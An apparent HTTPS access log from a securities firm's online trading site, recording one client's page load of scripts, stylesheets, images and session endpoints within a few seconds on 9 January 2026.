[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:15:34:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767944365942 HTTP/1.1" 3188
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 18
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:15:34:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944365372 HTTP/1.1" -
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:15:34:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:15:34:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:15:34:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
